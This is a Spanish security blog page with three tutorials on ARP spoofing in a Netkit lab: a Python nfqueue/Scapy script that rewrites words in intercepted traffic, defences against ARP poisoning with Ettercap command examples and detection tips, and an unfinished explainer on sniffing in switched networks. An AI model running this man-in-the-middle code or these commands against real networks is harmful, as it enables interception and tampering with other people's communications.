Mostrando entradas con la etiqueta protocolos. Mostrar todas las entradas
Mostrando entradas con la etiqueta protocolos. Mostrar todas las entradas

10 octubre 2011

Manipulando tráfico de red



Hasta ahora hemos visto maneras de desviar tráfico de su legítimo trayecto y espiar su contenido. También hemos practicado maneras de generar tráfico con la estructura exacta de bajo nivel que deseemos. Conociendo ambas cosas se podría pensar que la manipulación de tráfico es una mera combinación de las dos técnicas: se desvía el tráfico con un ataque de ARP Spoofing y se usa Scapy para leer los paquetes desviados y manipular su contenido.

A priori, esta combinación de recursos debería funcionar pero a la hora de ponerla en práctica tropezaremos con la cruda realidad de cómo se comporta Scapy con respecto a la pila TCP/IP. Y es que cuando Scapy (o tcpdump) escucha un paquete recibido no lo desvía de su trayecto a través de la pila TCP/IP sino que saca una copia del paquete y lo muestra al usuario. Eso quiere decir que aunque manipulemos la copia del paquete, el original se procesará en nuestra pila TCP/IP haciendo que esta lo envíe. Así, lo que ocurrirá es que al enviar el paquete modificado a la víctima en realidad mandaremos dos paquetes: el manipulado y el original. Demasiado ruido para que el ataque funcione correctamente.


Existe un técnica mucho más elegante para realizar este tipo de ataque. Básicamente se trataría de "sacar" los paquetes desviados recibidos de la pila TCP/IP para evitar que se procesen al margen de nuestra manipulación. Mucha gente sabe que el cortafuegos más popular en el mundo Linux es iptables, lo que es menos conocido es que iptables pertenece al ecosistema de netfilter. En realidad, netfilter es el nombre oficial del proyecto que abarca todas las capacidades de filtrado y manipulación de tráfico de red que ofrece el kernel de Linux. Netfilter cuenta además con una API para aplicar cualquier tipo de función en las diversas fases de la pila TCP/IP. Iptables es la aplicación de línea de comandos que aprovecha las funcionalidades ofrecidas por netfilter para comunicar al kernel de Linux las reglas de filtrado de tráfico introducidas por el usuario. Simplificando, se puede decir que iptables es el subconjunto de netfilter que permite a los usuarios introducir reglas de filtrados de tráfico en el kernel.

Lo que vamos a hacer es usar iptables para mover los paquetes desviados a una cola de netfilter. Una vez en dicha cola, usaremos la API de netfilter para aplicar las funciones de modificación que deseemos al paquete y al finalizar sacaremos el paquete de la cola y lo devolveremos la pila de TCP/IP para ser enviado.

Como en otras ocasiones, utilizaremos Python y en concreto la librería python-nfqueue que no es sino un interfaz a la API de colas de netfilter. El programa que vamos a preparar recibe tráfico desviado mediante un ataque de ARP-Spoofing y busca en dicho tráfico una palabra concreta, si la encuentra la sustituye por otra palabra que decidamos nosotros (con la única limitación de que dicha palabra debe ser de igual longitud que la palabra original) y luego remite el tráfico modificado a su legítimo destinatario. El programa principal no puede ser más sencillo:

###########
# PROGRAMA 
###########

parseArguments()

#Le mandamos a IPtables una regla para que redirija el trafico que queremos manipular a una cola de Netfilter. 
os.system("iptables -A FORWARD -d " + target_address.strNormal() + " -p TCP -j NFQUEUE --queue-num 0")

#Creamos una cola de netfilter donde aparcaremos aquellos paquetes a manipular. 
q = nfqueue.queue()
q.open()
q.bind(socket.AF_INET)

#Asociamos una funcion a la cola. Esta funcion se aplicará a todos los paquetes que entren en la cola por lo 
#que sera aquella en la que pondremos las operaciones de modificacion de trafico que queremos realizar. 
q.set_callback(replace)

#Activamos la cola y le damos el identificador 0. 
q.create_queue(0)
try:
print "Replacing content. Press Control-C to end." 
  q.try_run()
except KeyboardInterrupt:
print "Program ended by user..." 

#Finalizado el programa deshacemos las configuraciones realizadas en el entorno. 
#os.system("iptables -D FORWARD -d " + target_address.strNormal() + " -p TCP -j NFQUEUE") 
os.system("iptables -F")
q.unbind(socket.AF_INET)
q.close()

Como se puede comprobar, creamos una cola y le asignamos el identificador 0. A esa cola redirigimos el tráfico que vaya dirigido a la víctima mediante una regla de iptables (que al acabar el programa retiramos mediante un "iptables -F"). Con la orden set_callback asociamos a la cola una función de nuestra cosecha (en este caso replace) que se aplicará a todos los paquetes de red que entren en la cola 0. Una vez configurada de esta manera la cola, la activamos mediante la orden try_run. Es importante resaltar que nfqueue usa identificadores para sus colas porque puede trabajar con varias. Nada nos habría impedido crear varias colas, asignándoles a cada una de ellas funciones diferentes, si nos interesase crear colas diferentes que pudiesen procesar distintos tipos de tráfico redirigidos por sendas reglas de iptables o, incluso, colas que fuesen procesando el mismo tráfico sucesivamente como en una cadena de montaje.

La función replace es donde incluimos lo que queremos hacer con cada paquete:


#Esta es la función que vamos a asociar a la cola de netfilter para que se 
#aplique a todos los paquetes que entren en ella.
def replace(dummy, payload):
  print "############################################################"
  print "Recibido paquete desviado: "
  #Usamos Scapy para convertir el paquete en crudo en una estructura 
  #manejable de manera comoda.
  packet = IP(payload.get_data())
  print "Resumen: " + packet.summary()
  #Que sea un paquete TCP no significa que lleve carga. Los paquetes del 
  #treeway handshake no la llevan, asi que para evitar excepciones 
  #modificando un atributo inexistente comprobamos que el paquete 
  #realmente lo tiene.
  if Raw in packet:
    print "El paquete tiene payload."
    content = packet[Raw].load
    #Sustituimos una cadena por otra...
    if string_to_replace in content:
      print "Cadena a reemplazar encontrada en: "
      print "\t " + content
      content = content.replace(string_to_replace, replacing_string)
      print "Contenido sustituido por: "
      print "\t" + content
      packet[Raw].load = content
      #Reconstruimos el paquete. Hay que tener especial cuidado con el 
      #checksum TCP ya que si hemos cambiado el contenido del paquete 
      #habrá que recalcularlo.
      del packet[TCP].chksum
      #Al recrear el paquete pero con el TCP chacksum borrado este se 
      #recalcula en el constructor IP() de Scapy.
      new_packet = IP(str(packet))
      packet = new_packet
  #Y volvemos a reintroducir el paquete en la pila TCP/IP.
  payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(packet), len(packet))
  print "############################################################"


Como se puede ver, nfqueue le pasa a las funciones asignadas como callback dos parámetros: dummy y payload. El parámetro dummy reconozco que es un misterio para mi, en la escueta documentación de python-nfqueue no parece que se le mencione y tampoco parece que se le de uso alguno en los ejemplos, así que lo dejaremos atrás hasta que descubramos para qué sirve. El que sí resulta ser un parámetro crítico es payload que es el que contiene el paquete recibido. Es importante señalar que nfqueue remite a la función de usuario el paquete a partir del nivel IP, por lo que le habrá quitado todas las cabeceras de Ethernet. Así que si queremos jugar con los paquetes a nivel IP o superior (TCP o UDP) nfqueue puede ser una buena opción pero sin embargo si lo que queremos es tocar a nivel Ethernet es posible que tengamos que buscar una alternativa o complemento. Para convertir el payload en un objeto de Scapy que podamos usar como hasta ahora nos basta con llamar al constructor IP() y pasarle como parámetro payload.get_data(). A partir de ahí el comportamiento de la función es evidente: se mira si en la carga del paquete aparece la palabra que queremos sustituir y, en ese caso, la sustituimos por la otra y recalculamos el checksum del paquete TCP. Por último, se usa la función set_verdict_modified para decirle al netfilter que devolvemos a la pila TCP/IP un paquete pero que este es distinto que el que entró en la cola. El parámetro de aceptación es nfqueue. NF_ACCEPT, y el nuevo paquete y su longitud son los otros dos parámetros que se pasan a set_verdict_modified.

Si hubiésemos pasado un parámetro de aceptación con valor nfqueue.NF_QUEUE podríamos remitir el paquete a una cola diferente aunque el identificador de la cola lo tendríamos que "fundir" con el valor nfqueue.NF_QUEUE haciendo un OR binario de los 16 bits superiores de esta constante y el valor binario del identificador de la nueva cola. Suena alambicado pero python-nfqueue no es sino un mero binding a las librerías en C de netfilter y hay algunas cosas que no cubre y no queda más remedio que hacerlo a lo C-way-of-living-style. Para el que no se lo crea que eche un vistazo al doc de netfilter cuando habla de NF_QUEUE.

El recálculo del checksum es crítico ya que la función de esta cabecera del paquete TCP es permitir comprobar que el paquete recibido no ha cambiado (se ha corrompido) por un fallo de transmisión durante el trayecto. En realidad esta cabecera es una reminiscencia de cuando las redes de datos eran mucho menos fiables que las actuales y había que implementar estos mecanismos de integridad en los extremos para solicitar la retransmisión de los paquetes que se corrompiesen por el camino. Reminiscencia o no, lo cierto es que este mecanismo nos afecta directamente si lo que estamos haciendo es cambiar el contenido de los paquetes a mitad del trayecto, ya que si dejamos el checksum original el extremo receptor detectará que el paquete se ha corrompido y lo descartará. Afortunadamente, Scapy se encargará de recalcular el checksum del paquete si se lo pedimos. Bastará con borrar el parámetro checksum del paquete que hemos modificado y usar este para crear uno nuevo. El constructor IP() de Scapy detectará que falta la cabecera checksum en el parámetro que le pasamos y la calculará él mismo.

El resto del programa no tiene mayor misterio, por lo que no merece la pena explicarlo. Puede ser descargado de mi repositorio de aplicaciones para examinar su código detenidamente.

Para probarlo vamos a recurrir a una versión ligeramente modificada de la maqueta de netkit que usamos para el artículo de ARP-Spoofing (también descargable desde el repositorio, cuenta además con un README para su instalación). Como en aquella ocasión, el mapa de red de la maqueta es:



Como se puede ver, la maqueta cuenta con una red de gestión (192.168.20.0/24) pensada para acceder por SSH a los distintos elementos del simulacro sin que el tráfico de gestión se mezcle con el tráfico del experimento. Como las líneas de comandos que arranca netkit a cada una de las máquinas virtuales son bastante limitadas, le recomiendo que desde la consola del PC anfitrión lance una sesión de SSH contra Alice y al menos dos sesiones de SSH contra Sniffer (en concreto contra los interfaces de esos dos equipos en la red de gestión).

Para comenzar la práctica, desde una de las sesiones de SSH abiertas contra Sniffer active un ataque de ARP-Spoofing contra Alice:

PC-Sniffer:~# ./scripts/arpoison.py 192.168.0.1 192.168.0.2

Hasta ahora todo es exactamente igual que en nuestra práctica sobre ARP-Spoofing. A partir de la activación de arpoison todo el tráfico que Alice intercambia con Internet pasa a través de PC-Sniffer, por lo que Sniffer puede o escuchar el tráfico... o modificarlo como vamos a hacer nosotros. Para ello, desde la otra sesión de SSH abierta contra Sniffer vamos a activar pyreplace y le vamos a decir que siempre que en el tráfico dirigido a Alice aparezca la palabra "Mozart" sustituya dicha palabra por "Robert".

PC-Sniffer:~# ./scripts/pyreplace.py 192.168.0.2 "Mozart" "Robert"

Como ya hemos dicho, resulta crítico que ambas palabras sean de la misma longitud. Si quisiéramos sustituir una palabra por otra de longitud diferente nuestro programa se complicaría notablemente ya que no sólo habría que modificar las cabeceras de longitud de los paquetes sino que si sustituimos por palabras de mayor longitud existe la posibilidad de que se supere la longitud máxima de paquete lo que obligaría a distribuir el paquete modificado en dos y a partir de ahí habría que añadir un offset a los números de secuencia (¡y restárselo a los ACK de respuesta!). En fin, sería bastante más trabajoso y no añadiría ningún concepto nuevo pero no imposible para un atacante decidido y con el suficiente interés.

Observe también que siempre utilizamos con los scripts las direcciones de producción de los distintos elementos de red y no su interfaz de gestión.

Ahora vamos a ver si el ataque funciona. Para ello navegaremos desde el PC de Alice hacia Google y buscaremos en él el término "Mozart". Como la sesión que tenemos abierta por SSH con Alice es textual usaremos el navegador textual lynx, mediante la orden:


PC-Alice:~# lynx www.google.com



Como puede ver en las imágenes de abajo (pinche en ellas para ampliarlas), el resultado de Google parece que habla constantemente de un tal "Wolfgan Amadeus... Robert", señal de que pyreplace ha funcionado correctamente.




Como se puede ver, la modificación de tráfico durante el trayecto no resulta complicada. Podría pensar que la limitación de sustituir palabras por otras de la misma longitud resta importancia a este ataque pero por un lado, como hemos dicho más arriba, extender nuestro programa para que pueda usar palabras de sustitución de diferente longitud no resulta conceptualmente complicado y por el otro existen multitud de "campos" de longitud fija cuya manipulación puede resultar en una grave brecha de seguridad: cuentas bancarias, números de DNI, matrículas, etc...

Las salvaguardas contra este tipo de ataques pasan por utilizar mecanismos de cifrado y de integridad. El cifrado evitaría que el atacante localizase la palabra que quiere sustituir y los mecanismos de integridad asegurarían que aunque el atacante lograse modificar el tráfico nuestro sistemas detectaría que el tráfico recibido no es el originalmente enviado y lo rechazaría. Un protocolo como SSL, correctamente utilizado, ofrece estos mecanismos de defensa aunque en determinadas situaciones, que espero poder explicar en artículos posteriores, tampoco son la panacea.

21 marzo 2009

Evitando las escuchas en redes conmutadas

En un artículo que publiqué en Diciembre hablé sobre distintas técnicas para realizar escuchas en redes conmutadas. Me quedó pendiente desarrollar qué opciones tenemos frente a este tipo de ataques.

Las ataques de ARP Spoofing, también llamados envenenamiento ARP, se basan en introducir información falsa en las tablas de ARP de uno (o ambos) de los de los extremos de una comunicación con el fin de que este utilice inadvertidamente al atacante como intermediario a la hora de trasnmitir y recibir información. Esto permite al atacante no sólo espiar la información intercambiada por el atacado, sino también modificarla a su antojo.

Para combatir con eficacia este tipo de amenazas, un ingeniero de seguridad debe ser consciente de las técnicas de prevención, detección y reacción que puede emplear contra ellas.

La principal técnica de prevención es un buen diseño de la red. Muchos ingenieros no se dan cuenta, pero poner PCs de usuario en redes de paso supone un verdadero riesgo ya que si alguno decidiese utilizar herramientas de ARP Spoofing podría interceptar no sólo el tráfico destinado y originado hacia/desde su segmento sino todo aquel que lo utilice como red de tránsito. Un diseño correcto puede limitar a un único segmento de red el daño que un atacante puede realizar mediante ARP Spoofing. La manera de evitar esto es mantener las redes intermedias de tránsito vacías de PCs de usuarios, concentrando a estos en segmentos localizados en las "hojas" de nuestra red.



A la izquierda de la figura anterior (no se por qué pero Blogger la saca muy borrosa, si quiere ver el original, mucho más definido, pulse sobre la imagen) se puede ver una red mal diseñada al permitir que la red de paso (B) contenga PCs de usuario. Cualquiera de estos PCs de usuario puede lanzar un ataque de ARP Spoofing para desviar el tráfico cursado entre el router interior y el exterior con el resultado de que podría espiar todo el tráfico saliente de la red A.
A la derecha de la figura anterior se encuentra un diseño correcto. En él, la red B se ha vaciado de PCs de usuario. Los PCs que antes estaban en B han pasado a una red "hoja", C. Gracias a este diseño, un atacante de la red C sólo podría escuchar el tráfico de su red pero no de la B.

Este buen diseño sobre el papel debe desplegarse en la práctica de manera correcta. Si a pesar de haber vaciado de PCs las redes de tránsito, un intruso puede pinchar un portátil a una de estas redes seremos igual de vulnerables que antes. Para evitarlo hay que tomar medidas preventivas en los niveles de la capa OSI 2 y 1 (enlace y físico):
  • En la capa 2 hay que segmentar los conmutadores que dan servicio a las distintas redes en VLANs separadas asignando a cada VLAN única y exclusivamente los puertos dedicados a cada uno de los equipos residentes en ellas. Muchos administradores dejan puertos libres en cada VLAN por si un día se necesita pinchar urgentemente un equipo a ellas sin tener que esperar a que el administrador lo configure en el conmutador; esa comodidad tiene su contrapartida negativa y es que se deja abierta una puerta a nuestra red, puerta que puede aprovechar un atacante para pinchar su equipo a nuestra red si consigue acceso físico al conmutador (cosa no demasiado difícil en algunas organizaciones). Además, los puertos en uso de las redes de tránsito deben protegerse de alguna manera para evitar que máquinas no autorizadas se conecten a ellas. Lo ideal sería desplegar una solución del tipo NAC o 801.1X, pero la mayor parte de las redes actuales carece por ahora de la infraestructura necesaria para algo tan complejo. Al menos, lo que sí se puede hacer es limitar el uso de esos puertos concretos del conmutador a las MACs concretas de los equipos legítimos. No es una solución definitiva porque es muy fácil falsificar la MAC de un equipo, pero al menos servirá para retrasar al atacante y, con suerte, generará algún log de error en el equipo que servirá para alertar a los administradores si estos cuentan con una infraestructura de correlación de logs adecuada (del tipo Cisco Mars, Bitácora, logICA, etc). Por último, habrá que configurar los conmutadores correctamente para evitar que se utilicen contra ellos algunas de las VLAN Hopping existentes para acceder a una VLAN desde un puerto perteneciente a otra diferente.
  • En la capa 1 las medidas de seguridad son evidentes y se corresponden, al fin y al cabo, con las medidas de seguridad habitualmente recomendadas para las instalaciones de comunicaciones y tratamiento de datos. Básicamente se trata de impedir que una persona no autorizada pueda interactuar físicamente con alguno de nuestros conmutadores, por ejemplo pinchando su portátil a una VLAN no autorizada, apagando el conmutador para forzar una redirección del tráfico, o accediendo al puerto de consola del conmutador para reconfigurarlo. Para ello, el equipamiento de comunicaciones debe situarse en armarios cerrados con llave y preferiblemente vigilados con un circuito cerrado de cámaras, en salas de acceso restringido y con un soporte eléctrico y climático controlado y a prueba de fallos.
También está la opción de desplegar infraestructuras especializadas en combatir este tipo de ataques. Tal es el caso de algunas propuestas de código abierto enfocadas a integrar en la red un servidor dedicado a responder a las peticiones ARP a partir de una tabla centralizada con todas las correspondencias IP-MAC de la red, de manera que los conmutadores bloquearían todas las respuestas ARP (incluidas las utilizadas por el atacante para envenenar las tablas de ARP) excepto los originadas desde el puerto de este servidor. El problema de esta opción es la complejidad al no existir herramientas ya desarrolladas que implementen estos mecanismos y depender de las soluciones artesanales que se programe cada uno.

Para seguir el resto de las explicaciones le recomiendo que descargue y experimente con la maqueta de Netkit que he utilizado para escribir este artículo, es similar a la que se usó de ejemplo en los artículos "Creación de laboratorios virtuales con Netkit" I y II (lea estos artículos si no sabe como utlizar una maqueta realizada con Netkit) pero le he añadido una red de gestión, de manera que tenga una puerta trasera para acceder a los equipos por SSH sin mezclarse con el tráfico de la red de pruebas.

En el escenario de ejemplo, Alice quiere navegar por internet a través de un conmutador y un enrutador que le sirve de puerta de enlace; y PC-Sniffer quiere espiar el tráfico que Alice intercambia con Internet.

Teniendo en cuenta lo anterior y a partir de ahora, el esquema de la red de pruebas que vamos a utilizar en este artículo es el siguiente:




En lo que se refiere a las técnicas de detección, la vigilancia de los paquetes intercambiados en la red y de las tablas de ARP de los equipos clave serán nuestras principales armas.

Vigilando el tráfico de red se pueden detectar anomalías que nos alerten del trascurso de un ataque de ARP Spoofing. Examinando con Wireshark capturas del tráfico cursado a través del Switch de la maqueta podemos ver las siguientes anomalías:
  • En la captura del ataque con Ettercap podemos ver (paquetes 1 a 4) como el PC Sniffer (192.168.0.3) pregunta a la red por la MAC del Router (192.168.0.1) y por la de Alice (192.168.0.2). En los paquetes 5 y 6 ya aparecen las primeras señales de alerta; aparentemente el Router y Alice se lanzan pings entre sí, pero si examinamos la MAC de origen de ambos ping podemos ver que ¡en realidad se trata la MAC del PC-Sniffer!. Inmediatamente después, y sin esperar respuesta a los ping, el PC Sniffer manda actualizaciones de ARP para "envenenar" las tablas de Alice y el Router (paquetes 7 y 9). El resultado es que las respuestas a los pings le llegan al PC-Sniffer, lo que le permite saber que su ataque ha tenido éxito. En los paquetes 15 y 16 se puede ver como las respuestas a los pings se reenvían a sus legítimos destinarios, tal y como se hará con el resto del tráfico una vez que el PC-Sniffer lo haya visualizado. A partir de ahí (paquetes 19 a 26) se puede ver como el PC-Sniffer insiste machaconamente en enviar paquetes de actualización ARP para mantener las tablas de Alice y del Router "correctamente envenenadas". Si todo lo anterior ya debería inquietarnos, es cuando Alice comienza a navegar cuando vemos que algo va definitivamente mal. Porque a partir del paquete 43 vemos que todo el tráfico parece duplicado. Esto se debe a que el tráfico tiene que atravesar el Switch una vez, de camino al PC-Sniffer, y otra, de camino a su destinatario, en vez de atravesar el Switch una única vez (que sería lo lógico). De hecho, al mismo Wireshark le parece rara la situación y a partir del paquete 48 comienza a colorear de negro los paquetes repetidos para alertar de que algo no va nada bien.
  • Por su parte, en la captura del ataque realizado con Arppoison (incluido en la carpeta /root/scripts del PC-Sniffer de la maqueta), se pueden observar comportamientos anómalos. Arpoison es una herramienta programada con fines didácticos, así que su funcionamiento es algo más primitivo que el de Ettercap. Para empezar no hace un ping previo para comprobar que el envenenamiento se ha realizado con éxito y luego produce las mismas anomalías en los paquetes intercambiados e incluso alguna más. Y es que, cuando se usa Arpoison, se puede ver como en las capturas realizadas en el Switch aparece paquetes de ICMP Redirect (el primero aparece en el paquete 12), tan raros en las redes modernas que el Wireshark lo colorea de negro para señalarlo como anomalía. Esto se debe a que Arpoison utiliza Scapy para manejar paquetes y este a su vez Libpcap para realizar las escuchas. el problema es que Libpcap saca copias de los paquetes recibidos y se las entrega a las aplicaciones de usuario, pero no impide que los paquetes originales sigan siendo procesados por el kernel del PC. El kernel del PC-Sniffer no sabe nada de las aviesas intenciones de su dueño por lo que reacciona automáticamente cuando recibe un paquete que no está dirigido a su dirección IP enviando un paquete de ICMP Redirect alertando al remitente de que esos paquetes no le corresponden. Esta anomalía es tan evidente que cualquier IDS/IPS, por malo que fuese, lo habría detectado; para evitarla el dueño del PC-Sniffer podría haber activado su cortafuegos local para bloquear con él todos los paquetes ICMP salientes (si su cortafuegos le permite afinar bastaría con bloquear los paquetes ICMP Redirect salientes).

A nivel local, las inconsistencias en las tablas de ARP son síntomas muy serios de un posible ataque. Generalmente, es muy difícil que un PC y el enrutador que hace de puerta de enlace de la red tengan la misma MAC por lo que cuando esto ocurra deberían encenderse nuestras alarmas. Otra anomalía que debería ponernos en alerta es el cambio de la MAC conocida de equipos clave de la red, como por ejemplo los enrutadores que hacen de puerta de enlace.

En estado normal, la tabla de ARP de Alice tiene el siguiente aspecto:

PC-Alice:~# arp -i eth0 -a ? (192.168.0.1) at EA:0E:85:D7:58:04 [ether] on eth0

Si el atacante (PC-Sniffer) iniciase un ataque con Ettercap:

PC-Sniffer:~# ettercap -M arp:remote -T /192.168.0.1/ /192.168.0.2/ ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA Listening on eth0... (Ethernet) eth0 -> CA:88:E3:51:83:57 192.168.0.3 255.255.255.0 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Privileges dropped to UID 65534 GID 65534... 28 plugins 39 protocol dissectors 53 ports monitored 7587 mac vendor fingerprint 1698 tcp OS fingerprint 2183 known services Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 2 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.0.1 EA:0E:85:D7:58:04 GROUP 2 : 192.168.0.2 BA:4E:E3:B8:96:91 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Sat Mar 14 10:59:44 2009 TCP 192.168.10.1:49581 --> 192.168.0.2:22 | AP ...`..........I.S.4S..o^...D./~.....u.i....K...gaK5J


El resultado sobre la tabla de ARP de Alice sería el siguiente:

PC-Alice:~# arp -i eth0 -a ? (192.168.0.1) at CA:88:E3:51:83:57 [ether] on eth0 ? (192.168.0.3) at CA:88:E3:51:83:57 [ether] on eth0

Como se puede ver, desde el punto de vista de Alice, no sólo ha cambiado la MAC del enrutador (192.168.0.1) sino que además ahora parece coincidir con la MAC de un PC (192.168.0.3), lo que es señal inequívoca de que se está produciendo un ataque de ARP Spoofing que intenta desviar el tráfico de Alice destinado al enrutador hacia un PC intruso. Cuando este PC finaliza Ettercap, este se encarga de restablecer las tablas de ARP a su estado correcto. Lo que deja a Alice de la siguiente manera:

PC-Alice:~# arp -i eth0 -a ? (192.168.0.1) at EA:0E:85:D7:58:04 [ether] on eth0 ? (192.168.0.3) at CA:88:E3:51:83:57 [ether] on eth0

Como se puede ver, el ataque deja huellas tanto durante su transcurso como durante un corto tiempo tras él (hasta la expiración de la entrada en la tabla de ARP). Esto se debe a que el intruso debe interactuar con sus víctimas, antes de iniciar el ataque, para recopilar las MACs de dichos equipos con el fin de reparar las tablas de ARP tras él. Se puede estudiar la estructura interna de un programa similar a Ettercap en el mencionado artículo sobre escuchas en redes conmutadas. En ese programa, el Arpoison mencionado antes, la función que deja la huella "incriminatoria" en las tablas de ARP es la función gatherData(), ejecutada antes del ataque mismo. Como esta función debe preguntar a Alice y al Router por sus MAC mediante una llamada de ARP (representada en el código fuente del artículo por la llamada a la función scapy.getmacbyip() dentro de gatherData()), es el momento en el que el atacante PC-Sniffer "toca" directamente a sus víctimas dejando las huellas mencionadas. Se podría plantear la pregunta de si el atacante podría renunciar a ejecutar esta función para minimizar su huella, pero lo cierto es que no, porque si no averigua las MACs originales de los equipos a espiar no podrá lanzar el ataque ni reconstruir las tablas de ARP tras él.

Visto lo anterior, es evidente que son necesarias herramientas automatizadas que nos permitan defender las tablas de ARP de los equipos críticos que queramos salvaguardar de este tipo de ataques.

Una de las herramientas clásicas a este respecto es Arpwatch. Esta herramienta monitoriza la tabla de ARP y alerta por correo electrónico al administrador cuando se produce el cambio de una correspondencia IP-MAC. Lo ideal es instalar dicha herramienta en todas las estaciones de trabajo Linux de la red. En redes con direccionamiento estático, si se tiene la certeza de que no se ha producido el recambio de la tarjeta de red de ningún ordenador, la llegada de un correo de Arpwatch suele ser alerta inequívoca de que se está produciendo un ataque de ARP Spoofing. En redes con direccionamiento dinámico (DHCP), los pares IP-MAC cambian con cierta frecuencia, por lo que puede ser complicado monitorizar todos los cambios, aunque lo que sí se puede vigilar es el registro IP-MAC de la puerta de enlace por defecto de cada red, la cual debería permanecer inalterable en las tablas de ARP de todas las estaciones de trabajo.

Otra opción, algo más compleja pero con más posibilidades es ArpON. A diferencia de Arpwatch, ArpON no se limita a alertar al administrador sino que reacciona para bloquear el ataque. ArpON tiene dos modos de funcionamiento, estático y dinámico. En modo estático (SARPI), ArpON toma nota al arrancar de las entradas de la tabla de ARP, guardando esta información en una caché alternativa. A partir de ahí, ArpON sólo permite que se tramiten las peticiones y respuestas ARP de pares IP-MAC que no entren en contradicción con la información previa de su caché. El modo dinámico (DARPI) es similar, pero permite que la caché de ArpON vaya incorporando nuevos pares IP-MAC desconocidos en el momento de su arranque.

En redes con DHCP se puede optar también por activar un sistema de DHCP Snooping. Aparte de evitar que aparezcan servidores DHCP "furtivos", este sistema mantiene un registro de las MACs asociadas a las IPs concedidas y los puertos de los conmutadores donde se encuentran estas MACs. Con esta información, el sistema monitoriza los intercambios de ARP que se producen en sus puertos y si detecta un paquete ARP cuyo origen a nivel IP no se corresponde con la MAC registrada lo bloquea para impedir el envenenamiento. Esta opción se encuentra ampliamente disponible, por ejemplo en los equipos de Cisco donde recibe el nombre de Dynamic ARP Inspection.

19 diciembre 2008

Escuchas en redes conmutadas


Como los mayores del lugar recordarán, las redes de antaño se basaban en infraestructuras montadas a base de repetidores, también denominados hubs. Estos se comportaban enviando por todos sus puertos los datos que se recibiese por cualquiera de ellos. Los repetidores eran aparatos muy sencillos y carecían de lógica programada alguna. Consistían simplemente en un puenteado físico entre todos los puertos para asegurar que la señal que se recibiese por un puerto se repitiese por el resto. Esta sencillez tenía un precio y era lo reducido del rendimiento de las redes basadas en estos dispositivos ya que se creaba un único dominio de colisión, es decir ningún equipo de la red podía transmitir si lo estaba haciendo otro en ese momento. Además, las escuchas en este tipo de redes eran realmente sencillas ya que era el interfaz de cada equipo el que descartaba el tráfico que no le atañía, por lo que para escuchar toda la información que se cruzase por la red sólo había que poner el interfaz en modo promíscuo.

Con el tiempo, las redes evolucionaron al siguiente nivel y pasaron a utilizar conmutadores (en inglés switches). Estos dispositivos se diferencian de los anteriores en que disponen de lógica interna que les permite sacar los datos sólo por el puerto por el que se conecta su destinatario. Esto tiene una ventaja fundamental y es que mejora el rendimiento de las redes al dividirlas en múltiples dominios de colisión (uno por puerto). Sin embargo, aún hay gente que cree equivocadamente que el uso de conmutadores también evita las escuchas. Nada más lejos de la verdad. Si bien las escuchas no son tan sencillas como pasaba en las redes basadas en repetidores, se pueden seguir efectuando a partir de una serie de técnicas asequibles para cualquiera bien informado. A lo largo de este artículo repasaremos estas técnicas.

Para empezar es necesario que el lector entienda cómo funcionan los conmutadores. Todo dispositivo de red cuenta con una dirección IP que le identifica a lo largo y ancho de Internet y que permite que otros dispositivos se comuniquen con él. Sin embargo, esto permite que el paquete viaje hasta "el último salto" donde lo que se utiliza es el protocolo ARP (Address Resolution Protocol) para llegar al equipo destino.

Imaginemos dos dispositivos (A y B) que se encuentran en la misma red y que tienen direcciones del mismo rango de direccionamiento, ¿cómo se comunicarían entre sí?. Ambos conocen la dirección IP del otro, pero al estar ambos en el mismo rango de direccionamiento ya no hay enrutamiento que valga, por lo que tiene que entrar en juego la capa 2. Es decir, los interfaces de red de ambos dispositivos deben hablar entre sí. Para ello, todos los interfaces de red cuentan con una dirección en principio inalterable y única, que les viene asignada de fábrica y que se denomina MAC. Esto es la teoría, en la práctica el sistema operativo suele dar la opción de "forzar" una dirección MAC a nuestra elección, aunque es realmente raro que se haga uso de esta posibilidad. Los interfaces de red se comunican con otros interfaces de red de su mismo rango utilizando las direcciones MAC. Cuando A se quiere comunicar con B sólo cuenta con la dirección IP de por lo que debe hacer uso de un protocolo llamado ARP, del que se hablará más adelante, para averiguar cual es la dirección MAC de B. Una vez que A tiene la MAC de B manda un paquete de datos cuyo destinatario es precisamente la MAC de B. El conmutador que da servicio a A y a B envía el paquete sólo por el puerto al que se conecta B porque mantiene una tabla interna con las MAC que "cuelgan" de cada puerto. El interfaz de red de B, al recibir un paquete cuyo destinatario es su propia MAC, asume que el paquete le corresponde y lo escala a las capas superiores del equipo.

En principio el esquema parece seguro ya que los paquetes sólo llegan a sus legítimos destinatarios. El problema es que su implementación práctica suele abrir dos vías de ataque.

La primera vía de ataque hace referencia a la mencionada tabla interna que guardan los conmutadores. Los elementos de esta tabla son las MACs alcanzables por cada uno de los puertos. Para poblar esta tabla, el conmutador espera a que le vayan llegando paquetes. Cuando esto ocurre, el conmutador toma nota en su tabla del puerto por el que se ha recibido el paquete y la MAC del remitente del paquete. Una vez hecho esto, el conmutador mira cual es la MAC destinataria del paquete, consulta su tabla a ver si ya tiene registrada la localización de esa MAC y cuando la encuentra manda el paquete por el puerto apropiado. ¿Qué pasa si la MAC destino del paquete no consta en la tabla del conmutador? pues que este pasa a comportarse como un repetidor y reenvía ese paquete concreto por todos sus puertos. En realidad, este comportamiento sólo se da en los primeros minutos de funcionamiento del conmutador ya que si la red es medianamente activa en poco tiempo habrán emitido paquetes todos los elementos de la red (ya sea por inicios de conexión o por respuesta a paquetes) permitiendo que el conmutador los vaya "fichando" en su tabla.

